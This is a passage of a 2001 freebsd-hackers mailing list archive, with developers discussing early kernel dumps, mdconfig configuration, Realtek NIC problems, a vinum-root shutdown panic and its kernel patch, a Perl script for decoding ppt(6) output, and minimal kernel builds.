I comment these lines out, the kernel seems to build > allright. > > I noticed that the wiring down example in LINT is commented > out, so any quick tests would have missed this. > > ============================================================ > Gardner Buchanan > Ottawa, ON FreeBSD: Where you want to go. Today. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Feb 1 23:46:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id AB80237B4EC for ; Thu, 1 Feb 2001 23:46:18 -0800 (PST) Received: from [66.27.65.184] (we-66-27-65-184.we.mediaone.net [66.27.65.184]) by boreas.isi.edu (8.9.3/8.9.3) with ESMTP id XAA23111; Thu, 1 Feb 2001 23:45:49 -0800 (PST) User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022 Date: Thu, 01 Feb 2001 23:45:46 -0800 Subject: Re: capturing an early kernel dump From: Lars Eggert To: Peter Wemm , Lars Eggert Cc: Message-ID: In-Reply-To: <200102020739.f127dUW23005@mobile.wemm.org> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Lars Eggert wrote: >> How do I capture an early kernel dump (before rc executes and sets >> dumpdev)? > > How early? We could dump if you were prepared to hardwire in the minor and > major device numbers to get to the devsw[] vectors and manually set the > offsets. Not that early :-) I'm playing with the networking code; by that time, the disks should have been probed. Is there an "easy way" to configure a dump device after the disks are up? Thanks, Lars -- Lars Eggert Information Sciences Institute http://www.isi.edu/larse/ University of Southern California To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 0: 4:32 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 9327137B491; Fri, 2 Feb 2001 00:04:14 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f1284DN53771; Fri, 2 Feb 2001 00:04:13 -0800 (PST) (envelope-from dillon) Date: Fri, 2 Feb 2001 00:04:13 -0800 (PST) From: Matt Dillon Message-Id: <200102020804.f1284DN53771@earth.backplane.com> To: Dima Dorfman Cc: Poul-Henning Kamp , mi@aldan.algebra.com, jhb@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC) References: <20010202025501.D4BB73E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It doesn't make sense to pollute 'mdconfig' with functions that we already have an API available to perform. An API called 'mount'. Why not write a 'mount_md' program to do all the magic based on fstab options, similar to what mount_mfs used to do for MFS? A 'mount_md' would give us instant integration into existing kernel mechanisms, including startup (/etc/rc) mechanisms. -Matt :[cvs-(all|commiters) -> -hackers] : :> >> If anybody writes a patch to mdconfig to DTRT based on some :> >> less bogus /etc/fstab entries, I'll happily review and commit it. :> > :> >Does this sort of functionality really belong in mdconfig? :> :> Not by definition, and I'm not religious about it. : :Okay, any objections then to jhb's configuration file idea? The idea :is that mdconfig parses a file (md.conf or something) and sets up some :memory disks accordingly, including optional disklabel/newfs stuff. :Later, a simple 'ffs'-type fstab entry will mount it wherever the user :wants. This may be a little complicated for the simple /tmp case, but :I can think of some environments where this would be useful. vnconfig :also supports a similar config file option, so I think it's fitting :that mdconfig should, too. : :I've come up with a preliminary patch to teach mdconfig(8) to parse a :config file. It's a little early to be of practical use (and it lacks :the disklabel/newfs option), but it's a start. It's a little long :because I made some of the code in the switch(ch) block into functions :to avoid having two blocks doing the same thing, so I've decided not :to attach it not to bother the uninterested parties. If you could :take a minute or two and comment on it I'd appreciate it. You can :find it at http://www.unixfreak.org/~dima/mdconfig1.diff : :The current format of the config file is: : : ,,... : :for example: : : md0 swap size=64m : :Comments? Suggestions? : :Thanks in advance : : Dima Dorfman : dima@unixfreak.org : :P.S. Is there any reason the -b (baseaddr) option for preload disks :is currently unimplemented? The patch implements it (it was one line, :so I thought 'what the heck'); the ioctl works, but I was unable to :test it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 0:16:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mobile.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id A120F37B491 for ; Fri, 2 Feb 2001 00:16:15 -0800 (PST) Received: from netplex.com.au (localhost [127.0.0.1]) by mobile.wemm.org (8.11.1/8.11.1) with ESMTP id f128GEW23386; Fri, 2 Feb 2001 00:16:14 -0800 (PST) (envelope-from peter@netplex.com.au) Message-Id: <200102020816.f128GEW23386@mobile.wemm.org> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 To: Lars Eggert Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: capturing an early kernel dump In-Reply-To: Date: Fri, 02 Feb 2001 00:16:14 -0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Lars Eggert wrote: > > Lars Eggert wrote: > >> How do I capture an early kernel dump (before rc executes and sets > >> dumpdev)? > > > > How early? We could dump if you were prepared to hardwire in the minor and > > major device numbers to get to the devsw[] vectors and manually set the > > offsets. > > Not that early :-) > > I'm playing with the networking code; by that time, the disks should have > been probed. Hmm.. driver or stack? If it is a driver, then why not just kldload it? Anyway, just a thought. gdb can still debug it, but you need to do a little magic to pick up the file and symbols - an example of which is in src/sys/modules/vinum/.gdb*. > Is there an "easy way" to configure a dump device after the disks are up? If you do a boot -v, you should see something like: 'creating disk ad0' and/or 'wd0' on RELENG_4 boxes, that is after interrupts are enabled and the minidisk layer can get to the disk partition info. It is probably too late for network stack stuff by then though as the stacks are initialized earlier. See sys/kernel.h for the SYSINIT ordering. Have a look at kern/kern_shutdown.c, setdumpdev(). Note the call to devsw->d_psize() - that gets the number of blocks in the partition. If you boot to multi-user you might be able to get these magic values and hardwire the bootstrap to set these values and dumpdev. However... there is a BIG difference between RELENG_4 and -current in this area right how. In RELENG_4, dev_t (and hence dumpdev) is a simple integer for the minor/major number. In -current, dev_t is a pointer to a struct. You probably have a pretty good chance at hotwiring dumps early in RELENG_4 but will need to do major surgery in -current to do the same. I am not sure if I'd want to recommend that, but I could give pointers if you're desperate. Seriously though, please thoroughly check out the KLD module option and see if you can get that to work somehow. > Thanks, > Lars > -- > Lars Eggert Information Sciences Institute > http://www.isi.edu/larse/ University of Southern California > > Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 0:19:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id A67F937B491 for ; Fri, 2 Feb 2001 00:18:59 -0800 (PST) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JZMOEGNJPI0008TI@research.kpn.com> for freebsd-hackers@FreeBSD.ORG; Fri, 2 Feb 2001 09:18:55 +0100 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2653.19) id ; Fri, 02 Feb 2001 09:18:54 +0100 Content-return: allowed Date: Fri, 02 Feb 2001 09:18:53 +0100 From: "Koster, K.J." Subject: RE: Realtek card support To: 'Coleman Kane' , Warner Losh Cc: freebsd-hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E4522026D7BA4@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear All, > > I usually don't recommend the 8139/29 for anything that is > expected to work consistently. The cards work alright, but > I prefer to stick to Digital or Intel based NICs for > important tasks. > While it's obviously well established that these cards should be used as doorstops (and they would even suck at that) my idea was that there may be someone out there who can make the driver at least not hang up the line. Force it hard to 10mbit, or even reset the card for each and every packet sent, fork the code for this chip into src/pci/if_sucks.c, but at least make it work. I don't intent to use this brand for anything but toilet paper, but I keep running into people who have these cards. If people in the store and have to choose between a us$20 realtek and a us$100 3com they go for the realtek. Right now we're sending them back to the store to spend the extra us$80. I'd find the person who'd make the driver work around this card a hero. Kees Jan ================================================ You are only young once, but you can stay immature all your life. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 1: 5:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from uucp.nl.uu.net (uucp.nl.uu.net [193.79.237.146]) by hub.freebsd.org (Postfix) with ESMTP id 9734A37B4EC for ; Fri, 2 Feb 2001 01:05:22 -0800 (PST) Received: from jaknl by athos.nl.uu.net with UUCP id ; Fri, 2 Feb 2001 10:05:14 +0100 Received: from jak.nl ([192.168.0.30]) by jak.nl (8.8.8/8.8.8) with ESMTP id JAA01653 for ; Fri, 2 Feb 2001 09:49:07 +0100 (CET) (envelope-from arjan@jak.nl) Message-ID: <3A7A7237.B1C8D34@jak.nl> Date: Fri, 02 Feb 2001 09:39:19 +0100 From: Arjan Knepper Organization: JAK++ Software Development B.V. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: hackers FreeBSD Subject: Re: Realtek card support Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm using a PCMCIA CARDBUS version of the card in -CURRENT whitout any problems sofar. I don't have experience with the PCI or ISA versions of Realtec. I prefer the Intel E100B and the 3COM 3C905B PCI boards. "Koster, K.J." wrote: > Dear All, > > > > > I usually don't recommend the 8139/29 for anything that is > > expected to work consistently. The cards work alright, but > > I prefer to stick to Digital or Intel based NICs for > > important tasks. > > > While it's obviously well established that these cards should be used as > doorstops (and they would even suck at that) my idea was that there may be > someone out there who can make the driver at least not hang up the line. > Force it hard to 10mbit, or even reset the card for each and every packet > sent, fork the code for this chip into src/pci/if_sucks.c, but at least make > it work. > > I don't intent to use this brand for anything but toilet paper, but I keep > running into people who have these cards. If people in the store and have to > choose between a us$20 realtek and a us$100 3com they go for the realtek. > Right now we're sending them back to the store to spend the extra us$80. I'd > find the person who'd make the driver work around this card a hero. > > Kees Jan > > ================================================ > You are only young once, > but you can stay immature all your life. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 2:29:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id 1757337B491 for ; Fri, 2 Feb 2001 02:29:33 -0800 (PST) Received: (qmail 7611 invoked by uid 1000); 2 Feb 2001 10:27:55 -0000 Date: Fri, 2 Feb 2001 12:27:54 +0200 From: Peter Pentchev To: John Baldwin Cc: Doug White , freebsd-hackers@FreeBSD.org, Drew Eckhardt , Matt Dillon Subject: Re: Suboptimal mmap of devices on i86 Message-ID: <20010202122754.F328@ringworld.oblivion.bg> Mail-Followup-To: John Baldwin , Doug White , freebsd-hackers@FreeBSD.org, Drew Eckhardt , Matt Dillon References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jhb@FreeBSD.org on Thu, Feb 01, 2001 at 01:19:24PM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Feb 01, 2001 at 01:19:24PM -0800, John Baldwin wrote: > > On 01-Feb-01 Doug White wrote: > > On Mon, 29 Jan 2001, John Baldwin wrote: > > > >> Then only rename it in 4.x We can do an API change for 5.0. We'll be > >> renaming syscall2() back to syscall() in 5.0 for example. We don't > >> want to end up with syscall47() someday in FreeBSD 67.2. :-P > > > > And what happens to apps using the previous syscall(2) interface? They > > die horribly? That's not acceptable. > > Huh? syscall2() is an internal kernel function. The only thing that might > call it is a kernel module, and we won't support 4.x KLD's on 5.0. Period. > It was renamed to syscall2() to cause old KLD's to fail to load with a symbol > lookup problem back when teh MPSAFE flag was first added to x86 syscalls. The > only thing that changing it back to syscall() in -current does is cause any 6 > month old 5.0-current KLD's that happen to call syscall() to call it wrong. Uhm.. I believe he meant syscall(2) as in 'the "syscall" entity described in section 2 of the manual', which in this case happens to be: NAME syscall, __syscall - indirect system call ..as used in src/lib/libc/sys/*.c. G'luck, Peter -- If this sentence were in Chinese, it would say something else. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 2:37:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id CFD8E37B491 for ; Fri, 2 Feb 2001 02:37:12 -0800 (PST) Received: (qmail 7684 invoked by uid 1000); 2 Feb 2001 10:35:36 -0000 Date: Fri, 2 Feb 2001 12:35:36 +0200 From: Peter Pentchev To: "Louis A. Mamakos" Cc: Jean-Marc Zucconi , Warner Losh , hackers@FreeBSD.ORG Subject: Re: EBCDIC -> ASCII Message-ID: <20010202123536.G328@ringworld.oblivion.bg> Mail-Followup-To: "Louis A. Mamakos" , Jean-Marc Zucconi , Warner Losh , hackers@FreeBSD.ORG References: <20010131214403.G17598@ringworld.oblivion.bg> <200101311642.f0VGgXv06307@iguana.aciri.org> <200102020036.f120as934631@harmony.village.org> <200102020049.f120n6M50078@freefall.freebsd.org> <200102020534.f125Yl812054@whizzo.transsys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102020534.f125Yl812054@whizzo.transsys.com>; from louie@TransSys.COM on Fri, Feb 02, 2001 at 12:34:47AM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Feb 02, 2001 at 12:34:47AM -0500, Louis A. Mamakos wrote: > > >>>>> Warner Losh writes: > > > > > Even the name (dd) comes from IBM's control language (JSYS?). > > > > Huh! I never realized that. > > //GO.SYSIN DD * > > ... > > // > > Where are my punch cards? :-) > > man 6 bcd Come to think of it, since bcd(6) doubles as ppt(6), why isn't there already something like the attached script? :) G'luck, Peter -- This sentence was in the past tense. #!/usr/bin/perl -wT # $Id: unppt.pl,v 1.1 2001/02/02 10:33:42 roam Exp $ # unppt - a trivial script to convert ppt(6)'s output back to ASCII. use strict; MAIN:{ my $line; # input line processed while (defined($line = <>)) { chomp $line; next unless $line =~ /^\|([ o]*)\.([ o]*)\|$/; $line = "$1$2"; $line =~ tr/ o/01/; print pack("B*", $line); } print "\n"; } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 3:21:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (flutter.freebsd.dk [212.242.40.147]) by hub.freebsd.org (Postfix) with ESMTP id CEE4637B401; Fri, 2 Feb 2001 03:21:23 -0800 (PST) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.1/8.11.1) with ESMTP id f12BLQB03658; Fri, 2 Feb 2001 12:21:26 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: Dima Dorfman Cc: mi@aldan.algebra.com, jhb@FreeBSD.org, hackers@FreeBSD.org Subject: Re: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC) In-Reply-To: Your message of "Thu, 01 Feb 2001 18:54:56 PST." <20010202025501.D4BB73E02@bazooka.unixfreak.org> Date: Fri, 02 Feb 2001 12:21:26 +0100 Message-ID: <3656.981112886@critter> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >P.S. Is there any reason the -b (baseaddr) option for preload disks >is currently unimplemented? The patch implements it (it was one line, >so I thought 'what the heck'); the ioctl works, but I was unable to >test it. Yes, the feature is simply too disgusting right now, and it is a way too convenient panic(8) implementation. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 3:37:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from brutus.conectiva.com.br (brutus.conectiva.com.br [200.250.58.146]) by hub.freebsd.org (Postfix) with ESMTP id 2BDCE37B401 for ; Fri, 2 Feb 2001 03:37:12 -0800 (PST) Received: from localhost (riel@localhost) by brutus.conectiva.com.br (8.11.2/8.11.2) with ESMTP id f12BabK05836; Fri, 2 Feb 2001 09:36:37 -0200 X-Authentication-Warning: duckman.distro.conectiva: riel owned process doing -bs Date: Fri, 2 Feb 2001 09:36:37 -0200 (BRDT) From: Rik van Riel X-Sender: riel@duckman.distro.conectiva To: Warner Losh Cc: "Koster, K.J." , "'so@server.i-clue.de'" , freebsd-hackers@FreeBSD.ORG Subject: Re: Realtek card support In-Reply-To: <200102020035.f120Z7934612@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 1 Feb 2001, Warner Losh wrote: > We've had horrible luck with the realtek 8139 with a few of our > 10MBps hubs. I've seen the same problem here. My 8139 card is currently going to the switch at 100Mbit/s, which runs stable with Linux 2.4.0, even on my BP6 ;) However, because of a lack of network sockets a while ago, I put a 10Mbit hub in between so I could "split" the network socket for my test machine too. While communication between my machines on the hub continued to work, it managed to block the port on the switch so hard that we had to powercycle it. This happened with 2 different kinds of hubs we tried and doesn't happen when we use the same hubs with other network cards. Conclusion: 8139 can cause hours and hours more "fun" then what you've bargained for... (OTOH, I'm still using the card on my SMP box with no problems at all ... but at least I've experienced how fragile the setup of this thing is) regards, Rik -- Linux MM bugzilla: http://linux-mm.org/bugzilla.shtml Virtual memory is like a game you can't win; However, without VM there's truly nothing to lose... http://www.surriel.com/ http://www.conectiva.com/ http://distro.conectiva.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 7:53:40 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from trsbs.third-rail.net (footrest.third-rail.net [63.175.99.10]) by hub.freebsd.org (Postfix) with ESMTP id BBD8637B4EC; Fri, 2 Feb 2001 07:53:21 -0800 (PST) Received: by TRSBS with Internet Mail Service (5.5.2650.21) id ; Fri, 2 Feb 2001 10:54:53 -0500 Message-ID: <4FC7AFEB1135D41199260000F87A88260D9530@TRSBS> From: Chris Williams To: "'freebsd-hackers@freebsd.org'" , "'freebsd-stable@freebsd.org'" Subject: Have root on vinum, one small problem.. Date: Fri, 2 Feb 2001 10:54:51 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I've set up a server to load an MFS root off of a small slice at the beginning of my disks, and then start vinum and mount my real (vinumed) root slice over top of the MFS root. This allows me to boot off mirrored drives and not have my root go away if the drive I booted from dies. The only real hitch I encountered setting this up was that I had to hack mount(8) to not always treat a root mount as an update -- thus allowing me to overrun an existing root mount. Things seems to be working quite well, but there is one strange behavior which worries me; whenever I shut down, right after syncing I get a panic: panic: Vrele: negative ref cnt I assume this has to do with the fact that the shutdown procedures are not expecting to have to unmount two root slices. So, I have two questions: 1) Would anybody who is already familiar with what's going on here be willing to generate a fix for this? It's kind of annoying since it prevents me from halting without rebooting, and I imagine it's a trivial fix -- I just wouldn't know where in the code to start looking, so it would take me a while. 2) Are there any other negative consequences of mounting over /? There was a very specific line in mount.c to prevent this from being done -- was that just to prevent accidentally doing something stupid, or is there a good reason this is a bad idea? Thanks for any help.. PS -- if anyone out there needs help duplicating this config, feel free to drop me an e-mail. I couldn't find any documentation of the type of procedure I used, although it was suggested as a possible solution in the vinum "most requested features" list.. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 8: 3:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 1030037B699; Fri, 2 Feb 2001 08:03:27 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 2 Feb 2001 16:03:26 +0000 (GMT) To: Chris Williams Cc: "'freebsd-hackers@freebsd.org'" , "'freebsd-stable@freebsd.org'" , iedowse@maths.tcd.ie Subject: Re: Have root on vinum, one small problem.. In-Reply-To: Your message of "Fri, 02 Feb 2001 10:54:51 EST." <4FC7AFEB1135D41199260000F87A88260D9530@TRSBS> Date: Fri, 02 Feb 2001 16:03:26 +0000 From: Ian Dowse Message-ID: <200102021603.aa24556@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <4FC7AFEB1135D41199260000F87A88260D9530@TRSBS>, Chris Williams write s: > >Things seems to be working quite well, but there is one strange behavior which > worries me; whenever I shut down, right after syncing I get a panic: > >panic: Vrele: negative ref cnt I noticed this a while ago - it is due to inconsistent handling of 'rootvnode' in the kernel. You should find the details if you search for 'rootvnode' in the -hackers archive. The following patch should work around the panic by adding an extra vnode reference for rootvp: Ian Index: init_main.c =================================================================== RCS file: /FreeBSD/FreeBSD-CVS/src/sys/kern/init_main.c,v retrieving revision 1.134.2.3 diff -u -r1.134.2.3 init_main.c --- init_main.c 2000/09/07 19:13:36 1.134.2.3 +++ init_main.c 2001/02/02 16:01:52 @@ -456,6 +456,7 @@ VREF(fdp->fd_fd.fd_cdir); VOP_UNLOCK(rootvnode, 0, &proc0); fdp->fd_fd.fd_rdir = rootvnode; + VREF(fdp->fd_fd.fd_rdir); } SYSINIT(retrofit, SI_SUB_ROOT_FDTAB, SI_ORDER_FIRST, xxx_vfs_root_fdtab, NULL) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 8:38: 3 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from beotel.yu (zevs.beotel.net [194.106.162.10]) by hub.freebsd.org (Postfix) with ESMTP id 2E49037B4EC for ; Fri, 2 Feb 2001 08:37:45 -0800 (PST) Received: from scorpion.cosmos.all.net (AST-P207.beotel.net [194.106.170.207]) by beotel.yu (8.9.3/8.9.3) with ESMTP id RAA31346 for ; Fri, 2 Feb 2001 17:37:35 +0100 Received: from scorpion.cosmos.all.net (scorpion.cosmos.all.net [127.0.0.1]) by scorpion.cosmos.all.net (8.11.2/8.11.2) with ESMTP id f12Hi6209285 for ; Fri, 2 Feb 2001 17:44:09 GMT Date: Fri, 2 Feb 2001 17:44:06 +0000 (GMT) From: milunovic X-Sender: milunovic@scorpion.cosmos.all.net To: freebsd-hackers@freebsd.org Subject: strace Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there strace for FreeBSD? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 8:43:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ringworld.nanolink.com (ringworld.nanolink.com [195.24.48.189]) by hub.freebsd.org (Postfix) with SMTP id 71AF537B4EC for ; Fri, 2 Feb 2001 08:43:20 -0800 (PST) Received: (qmail 16476 invoked by uid 1000); 2 Feb 2001 16:41:08 -0000 Date: Fri, 2 Feb 2001 18:41:08 +0200 From: Peter Pentchev To: milunovic Cc: freebsd-hackers@freebsd.org Subject: Re: strace Message-ID: <20010202184108.U328@ringworld.oblivion.bg> Mail-Followup-To: milunovic , freebsd-hackers@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from milunovic@sendmail.ru on Fri, Feb 02, 2001 at 05:44:06PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Feb 02, 2001 at 05:44:06PM +0000, milunovic wrote: > Is there strace for FreeBSD? Do a man -k trace, you'll see manual pages about everything related to 'trace'. In particular, man 1 ktrace man 1 truss G'luck, Peter -- If this sentence were in Chinese, it would say something else. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 8:52:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from harmony.village.org (rover.village.org [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 7D8D137B684 for ; Fri, 2 Feb 2001 08:52:02 -0800 (PST) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.11.1/8.11.1) with ESMTP id f12Gpr945351; Fri, 2 Feb 2001 09:51:53 -0700 (MST) (envelope-from imp@harmony.village.org) Message-Id: <200102021651.f12Gpr945351@harmony.village.org> To: Arjan Knepper Subject: Re: Realtek card support Cc: hackers FreeBSD In-reply-to: Your message of "Fri, 02 Feb 2001 09:39:19 +0100." <3A7A7237.B1C8D34@jak.nl> References: <3A7A7237.B1C8D34@jak.nl> Date: Fri, 02 Feb 2001 09:51:53 -0700 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <3A7A7237.B1C8D34@jak.nl> Arjan Knepper writes: : I'm using a PCMCIA CARDBUS version of the card in -CURRENT : whitout any problems What's the make/model of this card? I knew one existed, but not the make/model of it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 9:17: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from c014.sfo.cp.net (c014-h022.c014.sfo.cp.net [209.228.12.86]) by hub.freebsd.org (Postfix) with SMTP id 3E6F237B401 for ; Fri, 2 Feb 2001 09:16:48 -0800 (PST) Received: (cpmta 15818 invoked from network); 2 Feb 2001 08:09:57 -0800 Received: from m12hRs4n205.midsouth.rr.com (HELO mike) (24.95.125.205) by smtp.valuedata.net (209.228.12.86) with SMTP; 2 Feb 2001 08:09:57 -0800 X-Sent: 2 Feb 2001 16:09:57 GMT Message-ID: <001501c08d32$9a2e9840$0200000a@mike> From: "Daryl Chance" To: "Matthew Emmerton" , "FreeBSD Hackers" References: <003901c08b9d$107b0d40$0200000a@mike> <20010131233508.A70852@xor.obsecurity.org> <001b01c08c54$653b4ae0$0200000a@mike> <008201c08c94$739d48f0$1200a8c0@gsicomp.on.ca> Subject: Re: Moving to KLM's Date: Fri, 2 Feb 2001 10:10:02 -0600 Organization: ValueData, LLC MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG this isn't what i was asking....FWIW, my current kernel is 1.4M :P. What i'm wanting to know is what is the minimal kernel (meaning what HAS to be there for it to boot) that can be compiled. I want to try using the KLM feature for pretty much everything (if_dc, if_ed, ipfw, nfs, etc etc), mostly just so i can learn more about FBSD. If I get some ideas about it, I can try and put together a MIN kernel config file and submit it for committing. I'm not asking for the file, just some pointers on what lines need to be in it :). Thanks, - Daryl Chance | And which parallel universe did ValueData, LLC | YOU crawl out of? Memphis, TN | - http://www.thinkgeek.com ----- Original Message ----- From: "Matthew Emmerton" To: "Daryl Chance" ; "FreeBSD Hackers" Sent: Thursday, February 01, 2001 3:17 PM Subject: Re: Moving to KLM's > > ok, what would be the minimal kernel that i can compile :), > > or is there a document somewhere that says that info? We have > > LINT, should we make something called MIN for minimal kernel needed to > boot? > > It's not really feasible to create a "minimal" kernal, since "minimal" > really depends on your hardware (the most obvious -- do you need ATA or SCSI > to boot? which network drivers do you need?) > > The easiest way to create MIN is to take GENERIC and take out absolutely > everything that you don't have or need. I think my best effort so far is on > a little 486 gateway box for my home lan which weights in at 1.7MB. > > -- > Matt Emmerton > > To Unsubscribe: send mail to majordomo@FreeBSD.org with 